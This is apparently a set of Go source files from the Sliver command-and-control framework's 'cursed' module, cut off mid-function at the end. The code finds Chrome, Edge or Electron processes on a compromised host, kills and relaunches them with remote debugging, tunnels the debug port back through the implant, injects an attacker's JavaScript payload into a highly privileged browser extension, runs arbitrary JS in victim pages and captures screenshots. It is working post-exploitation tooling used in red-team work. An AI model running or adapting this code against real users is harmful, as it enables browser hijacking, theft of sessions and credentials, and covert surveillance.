|
||||
chromeLinuxPaths := []string{
|
||||
"/usr/bin/google-chrome",
|
||||
"/usr/bin/chromium-browser",
|
||||
"/usr/local/bin/google-chrome",
|
||||
"/usr/local/bin/chromium-browser",
|
||||
}
|
||||
if isEdge {
|
||||
chromeLinuxPaths = []string{
|
||||
"/usr/bin/microsoft-edge",
|
||||
"/usr/local/bin/microsoft-edge",
|
||||
}
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromePath, nil
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
"chrome.exe", // Windows
|
||||
"Google Chrome", // Darwin
|
||||
}
|
||||
for _, suffix := range chromeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
|
||||
startCursedConsole(curse, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
if len(targets) < 1 {
|
||||
con.PrintErrorf("No debug targets\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
id2target := map[string]overlord.ChromeDebugTarget{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, target := range targets {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
|
||||
id2target[target.ID] = target
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedID := strings.Split(selected, " ")[0]
|
||||
selectedTarget := id2target[selectedID]
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
}
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
case "exit":
|
||||
return
|
||||
default:
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Edge extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Edge extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
"Microsoft Edge", // Darwin
|
||||
}
|
||||
for _, suffix := range edgeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isEdgeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,229 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Checking for debug targets ...")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(targets) == 0 {
|
||||
con.PrintErrorf("Zero debug targets found\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
}
|
||||
if !exists {
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: electronExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: electronExe,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return
|
||||
}
|
||||
// Get cursed process
|
||||
var cursedProc *core.CursedProcess
|
||||
curses := core.CursedProcessBySessionID(session.ID)
|
||||
for _, curse := range curses {
|
||||
if curse.BindTCPPort == bindPort {
|
||||
cursedProc = curse
|
||||
}
|
||||
}
|
||||
if cursedProc == nil {
|
||||
con.PrintErrorf("Failed to find cursed process\n")
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
}
|
||||
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Screenshot saved to %s\n", saveFile)
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
curse := value.(*core.CursedProcess)
|
||||
cursedProcesses = append(cursedProcesses, []string{
|
||||
fmt.Sprintf("%d", curse.BindTCPPort),
|
||||
strings.Split(curse.SessionID, "-")[0],
|
||||
fmt.Sprintf("%d", curse.PID),
|
||||
curse.Platform,
|
||||
curse.ExePath,
|
||||
curse.DebugURL().String(),
|
||||
})
|
||||
return true
|
||||
})
|
||||
if 0 < len(cursedProcesses) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
|
||||
})
|
||||
for _, rowEntries := range cursedProcesses {
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
} else {
|
||||
con.PrintInfof("No cursed processes\n")
|
||||
}
|
||||
}
|
||||
|
||||
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
cursedProcesses := []*core.CursedProcess{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
|
||||
return true
|
||||
})
|
||||
if len(cursedProcesses) < 1 {
|
||||
con.PrintErrorf("No cursed processes\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
port2process := map[int]*core.CursedProcess{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, cursedProcess := range cursedProcesses {
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\n",
|
||||
cursedProcess.BindTCPPort,
|
||||
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
|
||||
cursedProcess.ExePath)
|
||||
